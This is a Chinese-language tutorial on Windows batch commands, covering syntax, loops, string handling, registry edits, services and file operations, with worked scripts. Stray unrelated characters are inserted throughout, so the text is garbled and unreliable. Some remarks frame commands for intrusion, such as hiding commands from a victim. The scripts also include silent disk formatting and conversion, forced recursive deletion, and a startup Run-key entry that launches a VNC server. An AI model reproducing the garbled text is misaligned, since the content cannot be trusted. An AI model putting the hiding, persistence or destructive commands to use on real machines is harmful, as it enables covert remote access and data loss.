Windows批處理基礎命令學習

一侦鹏、基礎語法:

1.批處理文件是一個“.bat”結尾的文本文件诡曙,這個文件的每一行都是一條DOS命令÷运可以使用任何文本文件編輯工具創(chuàng)建和修改价卤。

2.批處理是一種簡單的程序,可以用 if 和 goto 來控制流程渊涝,也可以使用 for 循環(huán)慎璧。

3.批處理的編程能力遠不如C語言等編程語言床嫌,也十分不規(guī)范。

4.每個編寫好的批處理文件都相當于一個DOS的外部命令炸卑,把它所在的目錄放到DOS搜索路徑(path)中既鞠,即可在任意位置運行。

5.C:\AUTOEXEC.BAT 是每次系統(tǒng)啟動時都會自動運行的盖文,可以將每次啟動時都要運行的命令放入該文件中。

6.大小寫不敏感(命令符忽略大小寫)

7.批處理的文件擴展名為 .bat 或 .cmd蚯姆。

8.在命令提示下鍵入批處理文件的名稱五续,或者雙擊該批處理文件,系統(tǒng)就會調用Cmd.exe來運行該文件龄恋。

二疙驾、參數(shù):

1) 系統(tǒng)參數(shù)

%SystemRoot% === C:\WINDOWS (%windir% 同樣)

%ProgramFiles% === C:\Program Files

%USERPROFILE% === C:\Documents and Settings\Administrator (子目錄有“桌面”,“開始菜單”,“收藏夾”等)

%APPDATA% === C:\Documents and Settings\Administrator\Application Data

%TEMP% === C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp (%TEM% 同樣)

%APPDATA% === C:\Documents and Settings\Administrator\Application Data

%OS% === Windows_NT (系統(tǒng))

%Path% === %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem (原本的設置)

%HOMEDRIVE% === C: (系統(tǒng)盤)

%HOMEPATH% === \Documents and Settings\Administrator

:: 枚舉當前的環(huán)境變量

setlocal enabledelayedexpansion

FOR /F "usebackq delims==" %%i IN (`set`) DO @echo %%i !%%i!

2) 傳遞參數(shù)給批處理文件

%[1-9]表示參數(shù),參數(shù)是指在運行批處理文件時在文件名后加的以空格(或者Tab)分隔的字符串郭毕。

變量可以從%0到%9它碎,%0表示批處理命令本身,其它參數(shù)字符串用 %1 到 %9 順序表示显押。

Sample:

call test2.bat "hello" "haha" (執(zhí)行同目錄下的“test2.bat”文件扳肛,并輸入兩個參數(shù))

在“test2.bat”文件里寫:

echo %1 (打印: "hello")

echo %2 (打印: "haha")

echo %0 (打印: test2.bat)

echo %19 (打印: "hello"9)

三、批處理基本命令

0. help 命令

/? 命令

語法: 命令 /?

可顯示此命令的幫助信息

Sample: type /? >>tmp.txt (把 type 命令的幫助信息寫入到tmp.txt文件里)

Sample: help type (顯示跟“type /?”一樣)

1.Echo 命令

語法: echo [{on|off}] [message]

ECHO [ON | OFF] 打開回顯或關閉回顯功能乘碑。

ECHO 顯示當前回顯設置挖息。

ECHO [message] 顯示信息。

echo off 表示在此語句后所有運行的命令都不顯示命令行本身兽肤;默認是on套腹,on時會顯示如: C:\文件夾路徑>命令行。

在實際應用中我們會把這條命令和重定向符號( 也稱為管道符號资铡,一般用 > >> ^ )結合來實現(xiàn)輸入一些命令到特定格式的文件中电禀。

Sample: echo off

Sample: echo hello world (顯示出“hello world”)

Sample: echo Windows Registry Editor Version 5.00 > c:\setupreg.reg (此前還沒有 setupreg.reg 這個文件)

Sample: echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg (追加內容進 setupreg.reg 這個文件)

2.@ 命令

表示不顯示@后面的命令,(在入侵過程中自然不能讓對方看到你使用的命令啦)

@ 與 echo off 相象笤休,但它是加在每個命令行的最前面尖飞,表示運行時不顯示這一行的命令行(只能影響當前行)。

Sample: @echo off (此語句常用于開頭宛官,表示不顯示所有的命令行信息葫松,包括此句)

Sample: @echo please wait a minite...

Sample: @format X: /q/u/autoset

(format 這個命令是不可以使用/y這個參數(shù)的,可喜的是微軟留了個autoset這個參數(shù)給我們底洗,效果和/y是一樣的腋么。)

3.Goto 命令

語法:goto label (label是參數(shù),指定所要轉向的批處理程序中的行亥揖。)

指定跳轉到標簽行珊擂,找到標簽行后圣勒,程序將處理從下一行開始的命令。

label標簽的名字可以隨便起摧扇,但是最好是有意義的圣贸,字母前必須加個冒號“:”來表示這個字母是標簽。

goto命令就是根據(jù)這個冒號來尋找下一步跳到到那里扛稽。經常與 if 配合使用吁峻,根據(jù)不同的條件來執(zhí)行不同的命令組。

例題見“5.Pause 命令”

4.Rem 命令

語法:Rem Message...

(小技巧:用::代替rem)

注釋命令在张,在C語言中相當與/*...*/,它并不會被執(zhí)行用含,只是起一個注釋的作用,便于別人閱讀和自己日后修改帮匾。

Sample:@Rem Here is the description.

5.Pause 命令

會暫停批處理的執(zhí)行并在屏幕上顯示Press any key to continue...的提示啄骇,等待用戶按任意鍵后繼續(xù)

Sample:

@echo off

:begin

copy a:*.* d:\back

echo Please put a new disk into driver A

pause

goto begin

在這個例子中,驅動器 A 中磁盤上的所有文件均復制到d:\back中瘟斜。

顯示的信息提示您將另一張磁盤放入驅動器 A 時缸夹,pause 命令會使程序掛起,以便您更換磁盤螺句,然后按任意鍵再次復制虽惭。

6.Call 命令

語法: call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數(shù): [Drive:][Path] FileName 指定要調用的批處理程序的位置和名稱。filename 參數(shù)必須具有 .bat 或 .cmd 擴展名壹蔓。

調用另一個批處理程序趟妥,并且不終止父批處理程序。

如果不用call而直接調用別的批處理文件佣蓉,那么執(zhí)行完那個批處理文件后將無法返回當前文件并執(zhí)行當前文件的后續(xù)命令披摄。

call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call勇凭,它將不會在命令行起作用疚膊。

Sample:call="%cd%\test2.bat" haha kkk aaa (調用指定目錄下的 test2.bat,且輸入3個參數(shù)給他)

Sample:call test2.bat arg1 arg2 (調用同目錄下的 test2.bat虾标,且輸入2個參數(shù)給他)

注:可以調用自身(死循環(huán)寓盗、遞歸)

7.start 命令

調用外部程序,所有的 DOS命令 和 命令行程序 都可以由 start命令 來調用璧函。

入侵常用參數(shù):

MIN 開始時窗口最小化

SEPARATE 在分開的空間內開始 16 位 Windows 程序

HIGH 在 HIGH 優(yōu)先級類別開始應用程序

REALTIME 在 REALTIME 優(yōu)先級類別開始應用程序

WAIT 啟動應用程序并等候它結束

parameters 這些為傳送到命令/程序的參數(shù)

Sample:start /MIN test2.bat arg1 arg2 (調用同目錄下的 test2.bat傀蚌,且輸入2個參數(shù)給他,且本窗口最小化)

Sample:e:\"program files"\極品列車時刻表\jpskb.exe (文件路徑名有空格時)

8.If 命令

if 表示將判斷是否符合規(guī)定的條件蘸吓,從而決定執(zhí)行不同的命令善炫。有三種格式:

1) IF

語法: if [not] "參數(shù)" == "字符串" 待執(zhí)行的命令

參數(shù)如果等于(not表示不等,下同)指定的字符串库继,則條件成立箩艺,運行命令窜醉,否則運行下一句。(注意是兩個等號)

Sample: if "%1" == "a" format a:

Sample: if {%1} == {} goto noparms

2) if exist

語法: if [not] exist [路徑\]文件名 待執(zhí)行的命令

如果有指定的文件艺谆,則條件成立竭宰,運行命令祟昭,否則運行下一句壕探。

Sample: if exist config.sys edit config.sys (表示如果存在這文件圆丹,則編輯它,用很難看的系統(tǒng)編輯器)

Sample: if exist config.sys type config.sys (表示如果存在這文件撒妈,則顯示它的內容)

3) if errorlevel number

語法: if [not] errorlevel <數(shù)字> 待執(zhí)行的命令

如果程序返回值等于指定的數(shù)字恢暖,則條件成立,運行命令狰右,否則運行下一句。(返回值必須按照從大到小的順序排列)

Sample:

@echo off

XCOPY F:\test.bat D:\

IF ERRORLEVEL 1 (ECHO 文件拷貝失敗

) Else IF ERRORLEVEL 0 ECHO 成功拷貝文件

pause

很多DOS程序在運行結束后會返回一個數(shù)字值用來表示程序運行的結果(或者狀態(tài))舆床,稱為錯誤碼errorlevel或稱返回碼棋蚌。

常見的返回碼為0、1挨队。通過if errorlevel命令可以判斷程序的返回值谷暮,根據(jù)不同的返回值來決定執(zhí)行不同的命令。

4) else

語法: if 條件 (成立時執(zhí)行的命令) else (不成立時執(zhí)行的命令)

如果是多個條件盛垦,建議適當使用括號把各條件包起來湿弦,以免出錯。

Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) else (echo comment3 )

注:如果 else 的語句需要換行腾夯,if 執(zhí)行的行尾需用“^”連接颊埃,并且 if 執(zhí)行的動作需用(括起來),否則報錯

Sample: if 1 == 0 ( echo comment1 ) else if 1==0 ( echo comment2 ) ^

else (echo comment3 )

5) 比較運算符:

EQU - 等于 (一般使用“==”)

NEQ - 不等于 (沒有 “!=”,改用“ if not 1==1 ”的寫法)

LSS - 小于

LEQ - 小于或等于

GTR - 大于

GEQ - 大于或等于

9.choice 命令

choice 使用此命令可以讓用戶輸入一個字符(用于選擇)蝶俱,從而根據(jù)用戶的選擇返回不同的 errorlevel班利,

然后配合 if errorlevel 選擇運行不同的命令。

注意:choice命令為DOS或者Windows系統(tǒng)提供的外部命令榨呆,不同版本的choice命令語法會稍有不同罗标,請用choice /?查看用法。

choice 使用此命令可以讓用戶輸入一個字符积蜻,從而運行不同的命令闯割。

使用時應該加/c:參數(shù),c:后應寫提示可輸入的字符竿拆,之間無空格宙拉。它的返回碼為1234……

Sample: choice /c:dme defrag,mem,end

將顯示: defrag,mem,end[D,M,E]?

Sample:

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag (應先判斷數(shù)值最高的錯誤碼)

if errorlevel 2 goto mem

if errotlevel 1 goto end

10.for 命令

for 命令是一個比較復雜的命令,主要用于參數(shù)在指定的范圍內循環(huán)執(zhí)行命令如输。

1) for {%variable | %%variable} in (set) do command [command-parameters]

%variable 指定一個單一字母可替換的參數(shù)鼓黔。變量名稱是區(qū)分大小寫的央勒,所以 %i 不同于 %I

在批處理文件中使用 FOR 命令時,指定變量建議用 %%variable而不要用 %variable澳化。

(set) 指定一個或一組文件崔步。可以使用通配符缎谷。

command 指定對每個文件執(zhí)行的命令井濒。

command-parameters 為特定命令指定參數(shù)或命令行開關。

2) 如果命令擴展名被啟用列林,下列額外的 FOR 命令格式會受到支持:

a.FOR /D %variable IN (set) DO command [command-parameters]

如果集里面包含通配符瑞你,則指定與目錄名匹配,而不與文件名匹配希痴。

b.FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

檢查以 [drive:]path 為根的目錄樹者甲,指向每個目錄中的FOR 語句。

如果在 /R 后沒有指定目錄砌创,則使用當前目錄虏缸。如果集僅為一個單點(.)字符,則枚舉該目錄樹嫩实。

c.FOR /L %variable IN (start,step,end) DO command [command-parameters]

該集表示以增量形式從開始到結束的一個數(shù)字序列刽辙。

如:(1,1,5) 將產生序列 1 2 3 4 5; 而(5,-1,1) 將產生序列 (5 4 3 2 1)甲献。

d.有或者沒有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

參數(shù)"options"為:

eol=c - 指一個行注釋字符的結尾(就一個,如“;”)

skip=n - 指在文件開始時忽略的行數(shù)宰缤。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集晃洒。

tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身慨灭。這會導致額外變量名稱的分配。

m-n格式為一個范圍锥累。通過 nth 符號指定 mth缘挑。

如果符號字符串中的最后一個字符星號,那么額外的變量將在最后一個符號解析之后分配并接受行的保留文本桶略。

usebackq - 指定新語法已在下類情況中使用:

在作為命令執(zhí)行一個后引號的字符串并且一個單引號字符為文字字符串命令并允許在 filenameset中使用雙引號擴起文件名稱语淘。

3) Sample:

1. 如下命令行會顯示當前目錄下所有以bat或者txt為擴展名的文件名。

for %%c in (*.bat *.txt) do (echo %%c)

a. 如下命令行會顯示當前目錄下所有包含有 e 或者 i 的目錄名际歼。

for /D %%a in (*e* *i*) do echo %%a

b. 如下命令行會顯示 E盤test目錄 下所有以bat或者txt為擴展名的文件名惶翻。

for /R E:\test %%b in (*.txt *.bat) do echo %%b

for /r %%c in (*) do (echo %%c) :: 遍歷當前目錄下所有文件

c. 如下命令行將產生序列 1 2 3 4 5

for /L %%c in (1,1,5) do echo %%c

d. 以下兩句,顯示當前的年月日和時間

For /f "tokens=1-3 delims=-/. " %%j In ('Date /T') do echo %%j年%%k月%%l日

For /f "tokens=1,2 delims=: " %%j In ('TIME /T') do echo %%j時%%k分

e. 把記事本中的內容每一行前面去掉8個字符

setlocal enabledelayedexpansion

for /f %%i in (zhidian.txt) do (

set atmp=%%i

set atmp=!atmp:~8!

if {!atmp!}=={} ( echo.) else echo !atmp!

)

:: 讀取記事本里的內容(使用 delims 是為了把一行顯示全,否則會以空格為分隔符)

for /f "delims=" %%a in (zhidian.txt) do echo.%%a

4) continue 和 break

利用 goto 實現(xiàn)程序中常用的 continue 和 break 命令, 其實非常簡單

continue: 在 for 循環(huán)的最后一行寫上一個標簽鹅心,跳轉到這位置即可

break: 在 for 循環(huán)的外面的下一句寫上一個標簽吕粗,跳轉到這位置即可

Sample: (偽代碼)

for /F ["options"] %variable IN (command) DO (

... do command ...

if ... goto continue

if ... goto break

... do command ...

:continue

)

:break

四、其它命令

1. ping 命令

測試網(wǎng)絡聯(lián)接狀況以及信息包發(fā)送和接收狀況旭愧。但是不能夠測試端口颅筋。

語法:ping IP地址或主機名 [-t] [-a] [-n count] [-l size]

參數(shù)含義:

-t 不停地向目標主機發(fā)送數(shù)據(jù)宙暇;

-a 以IP地址格式來顯示目標主機的網(wǎng)絡地址;

-n count 指定要Ping多少次议泵,具體次數(shù)由count來指定占贫;

-l size 指定發(fā)送到目標主機的數(shù)據(jù)包的大小。

Sample: ping 192.168.0.1 -t (不停的測試192.168.0.1先口,按ctrl+c停止)

Sample: for /L %%a in (0,1,255) do ping 192.168.0.%%a -n 1 >> tmp.txt (ping一下所有的局域網(wǎng)電腦)

2. telnet 命令

測試端口使用 telnet IP地址或主機名 端口型奥,使用tcp協(xié)議的

Sample: telnet 192.168.0.1 80 (測試192.168.0.1的80端口)

3.color 命令

設置背景及字體顏色

語法: color bf

b 是指定背景色的十六進制數(shù)字; f 指定前景顏色(即字體顏色)碉京。

顏色值: 0:黑色 1:藍色 2:綠色 3:湖藍 4:紅色 5:紫色 6:黃色 7:白色

8:灰色 9:淡藍 A:淡綠 B:淺綠 C:淡紅 D:淡紫 E:淡黃 F:亮白

如果沒有給定任何參數(shù)厢汹,該命令會將顏色還原到 CMD.EXE 啟動時的顏色。

如果兩參數(shù)一樣谐宙,視為無效輸入烫葬。只有一個參數(shù)時,設置字體凡蜻。

4. random 命令

產生隨機數(shù)(正整數(shù)0~)

5. exit 命令

結束程序厘灼。即時是被調用的程序,結束后也不會返回原程序

6. shutdown命令

shutdown -s 關機

10. 所有內置命令的幫助信息

ver /?

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

五咽瓷、字符串處理

1) 分割字符串,以查看時間為例

%源字符串:~起始值,截取長度% (起始值從0開始舰讹;截取長度是可選的茅姜,如果省略逗號和截取長度,將會從起始值截取到結尾月匣;

截取長度如果是負數(shù)钻洒,表示截取到倒數(shù)第幾個。)

"%time%" 顯示如:"11:04:23.03" (完整的時間"hh:mm:ss.tt")

"%time:~0,5%" 顯示"hh:mm"(即"11:04")锄开,其中0表示從右向左移位操作的個數(shù)素标,5表示從左向右移位操作的個數(shù)

"%time:~0,8%" 顯示標準時間格式"hh:mm:ss"(即"11:04:23",前8個字符串)

"%time:~3,-3%"顯示"mm:ss"(即從第4個開始,截去最后3個的字符串)

"%time:~3%" 顯示"04:23.03"(即去掉前4個字符串)

"%time:~-3%" 顯示".tt"(即最后3個字符串)

上面的字串分割格式萍悴,也可以用于其它地方头遭,如目錄路徑:"%cd:~0,10%"

2) 替換字符串

set a="abcd1234"

echo %a% 顯示:"abcd1234"

set a=%a:1=kk% 替換“1”為“kk”

echo %a% 顯示:"abcdkk234"

3) 字符串合并

由于沒有直接的字符串合并函數(shù),只能用笨方法了癣诱。

set str1=%str1%%str2% (合并 str1 和 str2)

4) 計算字符串長度

沒有現(xiàn)成的函數(shù)计维。如下程序利用 goto形成循環(huán),不斷將字符串截短1撕予,并記錄截短的次數(shù)鲫惶,到字符串變成空時的次數(shù)即長度。

set testStr=This is a test string

:: 將 testStr 復制到str实抡,str 是個臨時字符串

set str=%testStr%

:: 標簽欠母,用于goto跳轉

:next1

:: 判斷str是不是空欢策,如果不是則執(zhí)行下邊的語句

if not "%str%"=="" (

:: 算術運算,使num的值自增1赏淌,相當于num++或者++num語句

set /a num+=1

:: 截取字符串踩寇,每次截短1

set "str=%str:~1%"

:: 跳轉到next1標簽: 這里利用goto和標簽,構成循環(huán)結構

goto next1

)

:: 當以上循環(huán)結構執(zhí)行完畢時猜敢,會執(zhí)行下邊的語句

echo testStr=%testStr%

echo testStr的長度為:%num%

5) 截取字符串時姑荷,需要傳遞參數(shù)

直接 echo %args:~%num%,-5% 沒辦法想要的字符串,需要如下兩步

setlocal enabledelayedexpansion

echo !args:~%num%,-5!

六缩擂、注冊表操作

1) 備份注冊表鼠冕,將[HKEY_LOCAL_MACHINE ... Run]的內容,備份到“c:\windows\1.reg”

reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c:\windows\1.reg

reg export HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run c:\windows\2.reg

2) 修改/添加注冊表內容

a.一般的添加或修改

reg add "HKCU\Environment" /v Java_Home /t reg_sz /d "D:\Java\jdk1.6.0_07" /f

上句解析:“HKCU”是“HKEY_CURRENT_USER”的縮寫胯盯,不用縮寫用全稱也可以懈费;

添加名稱為“Java_Home”的變量;類型為“reg_sz”博脑,另一種常見類型是“reg_dword”憎乙;值為 D:\Java\jdk1.6.0_07;

b.使用變量

set SoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java

reg add "%SoftWareHome%Web Start\1.6.0_07" /v Home /t reg_sz /d "%cd%\jre1.6.0_07\bin" /f

c.如果注冊表的名稱有空格叉趣,或者數(shù)據(jù)用特殊符號時

reg add "%SoftWareHome2%\HelpCommands" /v "01:Online Documentation" /t reg_sz /d "\"%cd%\Documentation\Index.htm\"" /f

傳入值為(值用雙引號括起來的):"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm"

reg add "%SoftWareHome2%\Paths" /v ReportTemplates /t reg_sz /d "%cd%\Resource Files\Report Templates\\" /f

傳入值為(“\”結尾的): E:\Holemar\1.notes\90. Windows\Resource Files\Report Templates\

d.增加空的內容

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\IMJPMIG8.1"

e.添加或修改默認值

reg add "%vpath%InstallPath" /ve /t reg_sz /d "%cd%" /f

這里用“/ve”來代替一般修改時的“/v 變量名”,即可修改默認值了

3) 刪除注冊表的內容

雙引號里面的是注冊表的目錄泞边,下面兩句將刪除這目錄下的所有信息

reg delete "HKEY_CURRENT_USER\Software\RealVNC" /f

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC" /f

雙引號里面的是注冊表的目錄,下面一句將刪除這目錄下指定的某個信息

reg delete "HKEY_LOCAL_MACHINE\Software\RealVNC" /v VNC_Server /f

4) 注冊表的常用位置

a.系統(tǒng)啟動項:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

example: REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v VNC_Server /t REG_SZ /d "%cd%\VNC_Server.bat" /f

b.系統(tǒng)環(huán)境變量:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]

c.當前用戶的環(huán)境變量:

[HKEY_CURRENT_USER\Environment]

5) 修改注冊表之后疗杉,結束并重新加載explorer.exe進程阵谚,可刷新注冊表,令其生效

taskkill /f /im explorer.exe >nul

start "" "explorer.exe"

七烟具、系統(tǒng)服務

1) 停止服務:NET STOP 服務名

啟動服務:NET Start 服務名

2) 設置啟動類型

自動: SC CONFIG 服務名 START= auto

手動: SC CONFIG 服務名 START= demand

已禁用:SC CONFIG 服務名 START= disabled

附:“START= ”等號后面必須要有一個空格梢什。(start還有boot,system兩個值)

Sample: SC CONFIG Spooler START= demand (打印機加載項,設置成手動朝聋,默認自動)

3) 查看系統(tǒng)服務:start %SystemRoot%\system32\services.msc /s

八嗡午、setlocal與變量延遲

0) 在沒有開啟變量延遲的情況下,某條命令行中的變量改變冀痕,必須到下一條命令才能體現(xiàn)荔睹。

另外例如for命令等,其后用一對圓括號閉合的所有語句也當作一行金度。

example:

set a=4

set a=5 & echo %a%

結果:4

也可以對這種機制加以利用应媚,如下的變量交換

example:

set var1=abc

set var2=123

echo 交換前: var1=%var1% var2=%var2%

set var1=%var2%& set var2=%var1%

echo 交換后: var1=%var1% var2=%var2%

1) 啟動批處理文件中環(huán)境變量的本地化。本地化將持續(xù)到出現(xiàn)匹配的 endlocal 命令或者到達批處理文件結尾為止猜极。

語法: setlocal {enableextension | disableextensions} {enabledelayedexpansion | disabledelayedexpansion}

enableextension: 啟用命令擴展中姜,直到出現(xiàn)匹配的 endlocal 命令,無論 setlocal 命令之前的設置如何。

disableextensions: 禁用命令擴展丢胚,直到出現(xiàn)匹配的 endlocal 命令翩瓜,無論 setlocal 命令之前的設置如何。

enabledelayedexpansion: 啟用延遲的環(huán)境變量擴展携龟,直到出現(xiàn)匹配的 endlocal 命令兔跌,無論 setlocal 命令之前的設置如何。

disabledelayedexpansion: 禁用延遲的環(huán)境變量擴展峡蟋,直到出現(xiàn)匹配的 endlocal 命令坟桅,無論 setlocal 命令之前的設置如何。

2) 為了能夠感知環(huán)境變量的動態(tài)變化蕊蝗,批處理設計了變量延遲仅乓。簡單來說,在讀取了一條完整的語句之后蓬戚,不立即對該行的變量賦值夸楣,而會在某個單條語句執(zhí)行之前再進行賦值,也就是說“延遲”了對變量的賦值子漩。

examle:

setlocal enabledelayedexpansion

set a=4

set a=5 & echo !a!

結果: 5

變量延遲的啟動語句是“setlocal enabledelayedexpansion”豫喧,并且變量要用一對嘆號“!!”括起來

由于啟動了變量延遲,所以批處理能夠感知到動態(tài)變化幢泼,即不是先給該行變量賦值紧显,而是在運行過程中給變量賦值,因此此時a的值就是5了

另外缕棵,啟動變量延遲鸟妙,“%”的變量還是不變

example2:

setlocal enabledelayedexpansion

for /l %%i in (1,1,5) do (

set a=%%i

echo !a!

)

結果,打印從1到5挥吵;如果不變量延遲,一個變量也沒有打印

九花椭、文件處理

1.刪除

1) 刪除一個文件或多個文件

del /s /q /f d:\test\a.bat

將直接刪除d:\test\a.bat忽匈,沒有任務提示

del temp\* /q /f /s

將直接刪除 本目錄的 temp 目錄的所有文件,沒有任務提示

刪除文件的時候可以使用“*”作通配符

2) 刪除一個空目錄

rd /q /s d:\test\log

將直接刪除d:\test\log目錄矿辽,如果log目錄里面有文件將無法刪除

3) 刪除一個非空目錄 (必須指定目錄名稱)

rmdir /q /s d:\test\logs

必須指定目錄名稱丹允,不能使用通配符

/S 除目錄本身外,還將刪除指定目錄下的所有子目錄

/Q 安靜模式袋倔,帶 /S 刪除目錄樹時不要求確認

無論里面是否有文件或文件夾將全部直接刪除

2.創(chuàng)建目錄

MKDIR [drive:]path

MD [drive:]path

路徑有空格時雕蔽,可以用雙引號括起來,也可以用 ? 替代

實踐部分:

一宾娜、小摘錄:

1. 調用其他程序時批狐,對文件的大小寫不敏感,文件后綴也可忽略

如:start LeapFTP.exe 與 start leapftp 效果一樣,都是運行“LeapFTP.exe”文件

每行的開頭的字符串會自動查找程序來運行嚣艇,還可用雙引號引起來(文件名或目錄名含空格時必須用)

如:"D:\Program Files\Leap FTP.exe"

"LeapFTP.exe" 可正常運行文件承冰,start "" "LeapFTP.exe" 也可以正常運行文件(注意,第一個參數(shù)是窗口顯示的標題)

3. copy C:\test\*.* D:\back (復制C盤test文件夾的所有文件(不包括文件夾及子文件夾里的東西)到D盤的back文件夾)

4. dir c:\*.* > a.txt (將c盤文件列表寫入 a.txt 中)

5. > 生成文件并寫入內容(如果有這文件則覆蓋)食零, >> 文件里追加內容

6. md d:\aa (創(chuàng)建文件夾)

7. 在命令末尾加上“>NUL 2>NUL”困乒,表示隱蔽返回信息。

8. 等待用戶輸入: set /p 變量名=屏幕顯示信息贰谣。 Sample:set /p pass=請輸入密碼:

9. 讓用戶按回車退出

小技巧(替代pause)娜搂,文件的最后一句:set /p tmp=操作結束,請按回車鍵退出...

10.設置標題: title JDK安裝

11.設置屏幕顯示顏色吱抚,如綠色: color 0a

12.清屏: cls

13.查看自己的IP:

for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i

echo %ip% (這時的 %ip% 就是自己的IP地址)

14. 修改文件的更新日期

copy 文件名+,,>nul (修改為當前時間百宇,如果要修改為指定時間,先修改系統(tǒng)時間频伤,再改回系統(tǒng)時間)

15. 修改文件的后綴名

ren C:\test\*.jpg *.JPG

for /r %%c in (*.jpg) do (ren %%c *.JPG) :: 修改當前目錄下的所有文件的后綴名恳谎,包括子目錄的

16. 修改文件的文件名

rename test.jpg test2.JPG

rename *.jpg *.888.JPG

17. 查看DNS、IP憋肖、Mac等

1) Win98: winipcfg

2) Win2000以上: Ipconfig /all

3) NSLOOKUP

18.查看IP上的共享資源因痛,就可以

net view 192.168.10.8

19.共享

A.查看你機器的共享資源: net share

B.手工刪除共享

net share 共享資源名稱$ /d

注意$后有空格。

C.增加一個共享:

net share mymovie=e:\downloads\movie /users:3

mymovie 共享成功岸更。 同時限制鏈接用戶數(shù)為3人鸵膏。

20.打開某網(wǎng)站

start iexplore.exe http://www.baidu.com

二、實例:

1. 生成 reg 文件怎炊,運行它谭企,再刪除它

echo "更改windows安裝文件的路徑"

echo Windows Registry Editor Version 5.00 > c:\setupreg.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup] >> c:\setupreg.reg

echo "ServicePackSourcePath"="D:\\Win2003\\" >> c:\setupreg.reg

echo "SourcePath"="D:\\Win2003\\" >> c:\setupreg.reg

:: 寫入注冊表

regedit /S c:\setupreg.reg

:: 刪除注冊表文件

del c:\setupreg.reg

2.調用了exe文件,結束后沒有關閉,解決方式

用start命令運行文件评肆,如:

start LeapFTP.exe 192.168.0.100

3.設置系統(tǒng)環(huán)境變量

:: 有這個環(huán)境變量债查,則不需再設置,直接結束

if not "%JAVA_HOME%" == "" exit

:: 設置環(huán)境變量的地址

set inputJavaHome=%cd%\jdk1.6.0_07

:: 設置環(huán)境變量瓜挽,也可以設置當前用戶的變量

set EnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment

echo 正在設置環(huán)境變量盹廷,請稍候......

reg add "%EnvironmentHome%" /v JAVA_HOME /t reg_sz /d "%inputJavaHome%" /f

reg add "%EnvironmentHome%" /v ClassPath /t reg_sz /d ".;%%JAVA_HOME%%\lib" /f

reg add "%EnvironmentHome%" /v Path /t reg_sz /d "%%JAVA_HOME%%\bin;%Path%" /f]

:: 刷新,令環(huán)境變量生效

taskkill /f /im explorer.exe >nul

start "" "explorer.exe"

4.隱藏某目錄的所有文件及文件夾

cd /d 要隱藏的目錄(如:D:)

for /f "usebackq delims=" %%A in (`dir /a /b`) do (attrib "%%A" -r +h -s)

5.在批處理中使用密碼久橙。密碼為admin俄占,輸入正確,跳轉到next1 淆衷,若輸入密碼錯誤3次缸榄,則鎖屏。祝拯。

@echo off

set num=0

:11

set /p pass=請輸入密碼:

if "%pass%"=="admin" goto next1

set /a num=%num% + 1

if %num%==3 goto no1

goto 11

:no1

%windir%\system32\rundll32.exe user32.dll,LockWorkStation

goto 11

:next1

echo 密碼正確甚带,執(zhí)行下面的程式

pause

6.清空回收站(未成功)

@echo off

del /f /s /q c:\recycler\*.*

::刷新屏幕

taskkill /f /im explorer.exe >nul

start "" "explorer.exe"

7.讓系統(tǒng)斷斷續(xù)續(xù)地鳴叫

@echo off

:begin

:: 發(fā)出鳴叫(“?”實際就是ASCII碼值為7的特殊字符(蜂鳴鍵beep)

echo ?

:: 讓程序暫停一小陣子

ping -n 1 -l 1 127.1>nul

goto :begin

8.將 FAT 卷轉換成 NTFS

利用“CONVERT.exe”進行,解析如下:

CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]

volume 指定驅動器號(后面跟一個冒號)、裝載點或卷名。

/FS:NTFS 指定要被轉換成 NTFS 的卷欲低。

/V 指定 Convert 應該用詳述模式運行辕宏。

/CvtArea:filename

將根目錄中的一個接續(xù)文件指定為NTFS 系統(tǒng)文件的占位符。

/NoSecurity 指定每個人都可以訪問轉換的文件和目錄的安全設置砾莱。

/X 如果必要瑞筐,先強行卸載卷。該卷的所有打開的句柄則無效腊瑟。

程序如下:

@ ECHO OFF

@ ECHO.

@ ECHO. 說 明

@ ECHO --------------------------------------------------------------------------

@ ECHO NTFS是一種磁盤格式聚假。該格式能存放大于4G的單個文件(如高清電影文件),并可對

@ ECHO 文件夾進行加密闰非,但有個缺點是DOS下無法訪問膘格。建議D盤及其后的盤使用NTFS格式,

@ ECHO C盤如非必要可以不轉換财松,F(xiàn)AT32與NTFS這兩種格式的讀寫速度幾乎是沒有差別的瘪贱。

@ ECHO --------------------------------------------------------------------------

@ ECHO.

convert c: /fs:ntfs

:: D盤也轉成 NTFS

convert d: /fs:ntfs

9. 獲取我的文檔

SET SF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"

